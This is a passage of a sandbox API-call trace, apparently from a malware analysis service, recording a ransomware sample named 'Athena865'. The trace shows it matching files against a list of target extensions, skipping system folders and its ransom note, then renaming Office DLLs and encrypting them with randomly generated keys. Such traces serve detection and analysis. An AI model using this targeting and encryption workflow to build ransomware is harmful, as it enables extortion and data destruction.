[0068.978] lstrlenW (lpString="kexis") returned 5 [0068.978] lstrcmpiW (lpString1="A.DLL", lpString2="kexis") returned -1 [0068.978] lstrlenW (lpString="lgc") returned 3 [0068.978] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0068.978] lstrlenW (lpString="lwx") returned 3 [0068.978] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0068.978] lstrlenW (lpString="maf") returned 3 [0068.978] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0068.978] lstrlenW (lpString="maq") returned 3 [0068.978] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0068.978] lstrlenW (lpString="mar") returned 3 [0068.978] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0068.978] lstrlenW (lpString="marshal") returned 7 [0068.978] lstrcmpiW (lpString1="00A.DLL", lpString2="marshal") returned -1 [0068.978] lstrlenW (lpString="mas") returned 3 [0068.978] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0068.978] lstrlenW (lpString="mav") returned 3 [0068.978] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0068.978] lstrlenW (lpString="maw") returned 3 [0068.978] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0068.978] lstrlenW (lpString="mdbhtml") returned 7 [0068.978] lstrcmpiW (lpString1="00A.DLL", lpString2="mdbhtml") returned -1 [0068.978] lstrlenW (lpString="mdn") returned 3 [0068.978] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0068.978] lstrlenW (lpString="mdt") returned 3 [0068.978] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0068.978] lstrlenW (lpString="mfd") returned 3 [0068.978] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0068.978] lstrlenW (lpString="mpd") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0068.979] lstrlenW (lpString="mrg") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0068.979] lstrlenW (lpString="mud") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0068.979] lstrlenW (lpString="mwb") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0068.979] lstrlenW (lpString="myd") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0068.979] lstrlenW (lpString="ndf") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0068.979] lstrlenW (lpString="nnt") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0068.979] lstrlenW (lpString="nrmlib") returned 6 [0068.979] lstrcmpiW (lpString1="0A.DLL", lpString2="nrmlib") returned -1 [0068.979] lstrlenW (lpString="ns2") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0068.979] lstrlenW (lpString="ns3") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0068.979] lstrlenW (lpString="ns4") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0068.979] lstrlenW (lpString="nsf") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0068.979] lstrlenW (lpString="nv") returned 2 [0068.979] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0068.979] lstrlenW (lpString="nv2") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0068.979] lstrlenW (lpString="nwdb") returned 4 [0068.979] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0068.979] lstrlenW (lpString="nyf") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0068.979] lstrlenW (lpString="odb") returned 3 [0068.979] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0068.979] lstrlenW (lpString="odb") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0068.980] lstrlenW (lpString="oqy") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0068.980] lstrlenW (lpString="ora") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0068.980] lstrlenW (lpString="orx") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0068.980] lstrlenW (lpString="owc") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0068.980] lstrlenW (lpString="p96") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0068.980] lstrlenW (lpString="p97") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0068.980] lstrlenW (lpString="pan") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0068.980] lstrlenW (lpString="pdb") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0068.980] lstrlenW (lpString="pdm") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0068.980] lstrlenW (lpString="pnz") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0068.980] lstrlenW (lpString="qry") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0068.980] lstrlenW (lpString="qvd") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0068.980] lstrlenW (lpString="rbf") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0068.980] lstrlenW (lpString="rctd") returned 4 [0068.980] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0068.980] lstrlenW (lpString="rod") returned 3 [0068.980] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0068.980] lstrlenW (lpString="rodx") returned 4 [0068.980] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0068.981] lstrlenW (lpString="rpd") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0068.981] lstrlenW (lpString="rsd") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0068.981] lstrlenW (lpString="sas7bdat") returned 8 [0068.981] lstrcmpiW (lpString1="000A.DLL", lpString2="sas7bdat") returned -1 [0068.981] lstrlenW (lpString="sbf") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0068.981] lstrlenW (lpString="scx") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0068.981] lstrlenW (lpString="sdb") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0068.981] lstrlenW (lpString="sdc") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0068.981] lstrlenW (lpString="sdf") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0068.981] lstrlenW (lpString="sis") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0068.981] lstrlenW (lpString="spq") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0068.981] lstrlenW (lpString="te") returned 2 [0068.981] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0068.981] lstrlenW (lpString="teacher") returned 7 [0068.981] lstrcmpiW (lpString1="00A.DLL", lpString2="teacher") returned -1 [0068.981] lstrlenW (lpString="tmd") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0068.981] lstrlenW (lpString="tps") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0068.981] lstrlenW (lpString="trc") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0068.981] lstrlenW (lpString="trc") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0068.981] lstrlenW (lpString="trm") returned 3 [0068.981] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0068.982] lstrlenW (lpString="udb") returned 3 [0068.982] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0068.982] lstrlenW (lpString="udl") returned 3 [0068.982] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0068.982] lstrlenW (lpString="usr") returned 3 [0068.982] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0068.982] lstrlenW (lpString="v12") returned 3 [0068.982] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0068.982] lstrlenW (lpString="vis") returned 3 [0068.982] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0068.982] lstrlenW (lpString="vpd") returned 3 [0068.982] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0068.982] lstrlenW (lpString="vvv") returned 3 [0068.982] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0068.982] lstrlenW (lpString="wdb") returned 3 [0068.982] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0068.982] lstrlenW (lpString="wmdb") returned 4 [0068.982] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0068.982] lstrlenW (lpString="wrk") returned 3 [0068.982] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0068.982] lstrlenW (lpString="xdb") returned 3 [0068.982] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0068.982] lstrlenW (lpString="xld") returned 3 [0068.982] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0068.982] lstrlenW (lpString="xmlff") returned 5 [0068.982] lstrcmpiW (lpString1="A.DLL", lpString2="xmlff") returned -1 [0068.982] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL.Athena865") returned 69 [0068.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll.athena865"), dwFlags=0x1) returned 1 [0068.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0068.984] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=766384) returned 1 [0068.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.984] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.985] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.985] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.985] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbb4b0, lpName=0x0) returned 0x17c [0068.987] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbb4b0) returned 0x2d50000 [0069.017] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.018] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.018] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.019] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0069.025] CloseHandle (hObject=0x17c) returned 1 [0069.025] CloseHandle (hObject=0x154) returned 1 [0069.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.029] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CSS7DATA000C.DLL", cAlternateFileName="CSS7DA~2.DLL")) returned 1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2=".") returned 1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2="..") returned 1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2="windows") returned -1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2="bootmgr") returned 1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2="temp") returned -1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2="pagefile.sys") returned -1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2="boot") returned 1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2="ids.txt") returned -1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2="ntuser.dat") returned -1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2="perflogs") returned -1 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2="MSBuild") returned -1 [0069.029] lstrlenW (lpString="CSS7DATA000C.DLL") returned 16 [0069.029] lstrcpyW (in: lpString1=0x241e89e, lpString2="CSS7DATA000C.DLL" | out: lpString1="CSS7DATA000C.DLL") returned="CSS7DATA000C.DLL" [0069.029] lstrlenW (lpString="CSS7DATA000C.DLL") returned 16 [0069.029] lstrlenW (lpString="Athena865") returned 9 [0069.029] lstrcmpiW (lpString1="A000C.DLL", lpString2="Athena865") returned -1 [0069.029] lstrlenW (lpString=".dll") returned 4 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2=".dll") returned 1 [0069.029] lstrlenW (lpString=".lnk") returned 4 [0069.029] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2=".lnk") returned 1 [0069.030] lstrlenW (lpString=".ini") returned 4 [0069.030] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2=".ini") returned 1 [0069.030] lstrlenW (lpString=".sys") returned 4 [0069.030] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2=".sys") returned 1 [0069.030] lstrlenW (lpString="CSS7DATA000C.DLL") returned 16 [0069.030] lstrlenW (lpString="bak") returned 3 [0069.030] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0069.030] lstrlenW (lpString="ba_") returned 3 [0069.030] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0069.030] lstrlenW (lpString="dbb") returned 3 [0069.030] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0069.030] lstrlenW (lpString="vmdk") returned 4 [0069.030] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0069.030] lstrlenW (lpString="rar") returned 3 [0069.030] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0069.030] lstrlenW (lpString="zip") returned 3 [0069.030] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0069.030] lstrlenW (lpString="tgz") returned 3 [0069.030] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0069.030] lstrlenW (lpString="vbox") returned 4 [0069.030] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0069.030] lstrlenW (lpString="vdi") returned 3 [0069.030] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0069.030] lstrlenW (lpString="vhd") returned 3 [0069.030] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0069.030] lstrlenW (lpString="vhdx") returned 4 [0069.030] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0069.030] lstrlenW (lpString="avhd") returned 4 [0069.030] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0069.030] lstrlenW (lpString="db") returned 2 [0069.030] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0069.030] lstrlenW (lpString="db2") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0069.031] lstrlenW (lpString="db3") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0069.031] lstrlenW (lpString="dbf") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0069.031] lstrlenW (lpString="mdf") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0069.031] lstrlenW (lpString="mdb") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0069.031] lstrlenW (lpString="sql") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0069.031] lstrlenW (lpString="sqlite") returned 6 [0069.031] lstrcmpiW (lpString1="0C.DLL", lpString2="sqlite") returned -1 [0069.031] lstrlenW (lpString="sqlite3") returned 7 [0069.031] lstrcmpiW (lpString1="00C.DLL", lpString2="sqlite3") returned -1 [0069.031] lstrlenW (lpString="sqlitedb") returned 8 [0069.031] lstrcmpiW (lpString1="000C.DLL", lpString2="sqlitedb") returned -1 [0069.031] lstrlenW (lpString="xml") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0069.031] lstrlenW (lpString="$er") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0069.031] lstrlenW (lpString="4dd") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0069.031] lstrlenW (lpString="4dl") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0069.031] lstrlenW (lpString="^^^") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0069.031] lstrlenW (lpString="abs") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0069.031] lstrlenW (lpString="abx") returned 3 [0069.031] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0069.031] lstrlenW (lpString="accdb") returned 5 [0069.031] lstrcmpiW (lpString1="C.DLL", lpString2="accdb") returned 1 [0069.031] lstrlenW (lpString="accdc") returned 5 [0069.032] lstrcmpiW (lpString1="C.DLL", lpString2="accdc") returned 1 [0069.032] lstrlenW (lpString="accde") returned 5 [0069.032] lstrcmpiW (lpString1="C.DLL", lpString2="accde") returned 1 [0069.032] lstrlenW (lpString="accdr") returned 5 [0069.032] lstrcmpiW (lpString1="C.DLL", lpString2="accdr") returned 1 [0069.032] lstrlenW (lpString="accdt") returned 5 [0069.032] lstrcmpiW (lpString1="C.DLL", lpString2="accdt") returned 1 [0069.032] lstrlenW (lpString="accdw") returned 5 [0069.032] lstrcmpiW (lpString1="C.DLL", lpString2="accdw") returned 1 [0069.032] lstrlenW (lpString="accft") returned 5 [0069.032] lstrcmpiW (lpString1="C.DLL", lpString2="accft") returned 1 [0069.032] lstrlenW (lpString="adb") returned 3 [0069.032] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.032] lstrlenW (lpString="adb") returned 3 [0069.032] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.032] lstrlenW (lpString="ade") returned 3 [0069.032] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0069.032] lstrlenW (lpString="adf") returned 3 [0069.032] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0069.032] lstrlenW (lpString="adn") returned 3 [0069.032] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0069.032] lstrlenW (lpString="adp") returned 3 [0069.032] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0069.032] lstrlenW (lpString="alf") returned 3 [0069.032] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0069.032] lstrlenW (lpString="ask") returned 3 [0069.032] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0069.032] lstrlenW (lpString="btr") returned 3 [0069.032] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0069.032] lstrlenW (lpString="cat") returned 3 [0069.032] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0069.032] lstrlenW (lpString="cdb") returned 3 [0069.033] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0069.033] lstrlenW (lpString="ckp") returned 3 [0069.033] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0069.033] lstrlenW (lpString="cma") returned 3 [0069.033] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0069.033] lstrlenW (lpString="cpd") returned 3 [0069.033] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0069.033] lstrlenW (lpString="dacpac") returned 6 [0069.033] lstrcmpiW (lpString1="0C.DLL", lpString2="dacpac") returned -1 [0069.033] lstrlenW (lpString="dad") returned 3 [0069.033] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0069.033] lstrlenW (lpString="dadiagrams") returned 10 [0069.033] lstrcmpiW (lpString1="TA000C.DLL", lpString2="dadiagrams") returned 1 [0069.033] lstrlenW (lpString="daschema") returned 8 [0069.033] lstrcmpiW (lpString1="000C.DLL", lpString2="daschema") returned -1 [0069.033] lstrlenW (lpString="db-journal") returned 10 [0069.033] lstrcmpiW (lpString1="TA000C.DLL", lpString2="db-journal") returned 1 [0069.033] lstrlenW (lpString="db-shm") returned 6 [0069.033] lstrcmpiW (lpString1="0C.DLL", lpString2="db-shm") returned -1 [0069.033] lstrlenW (lpString="db-wal") returned 6 [0069.033] lstrcmpiW (lpString1="0C.DLL", lpString2="db-wal") returned -1 [0069.033] lstrlenW (lpString="dbc") returned 3 [0069.033] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0069.033] lstrlenW (lpString="dbs") returned 3 [0069.033] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0069.033] lstrlenW (lpString="dbt") returned 3 [0069.033] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0069.033] lstrlenW (lpString="dbv") returned 3 [0069.033] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0069.033] lstrlenW (lpString="dbx") returned 3 [0069.033] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0069.033] lstrlenW (lpString="dcb") returned 3 [0069.033] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0069.034] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL.Athena865") returned 69 [0069.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll.athena865"), dwFlags=0x1) returned 1 [0069.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0069.035] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=766384) returned 1 [0069.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.036] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.036] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.036] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.037] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbb4b0, lpName=0x0) returned 0x17c [0069.038] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbb4b0) returned 0x2d50000 [0069.063] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.063] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.063] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.064] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0069.071] CloseHandle (hObject=0x17c) returned 1 [0069.071] CloseHandle (hObject=0x154) returned 1 [0069.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 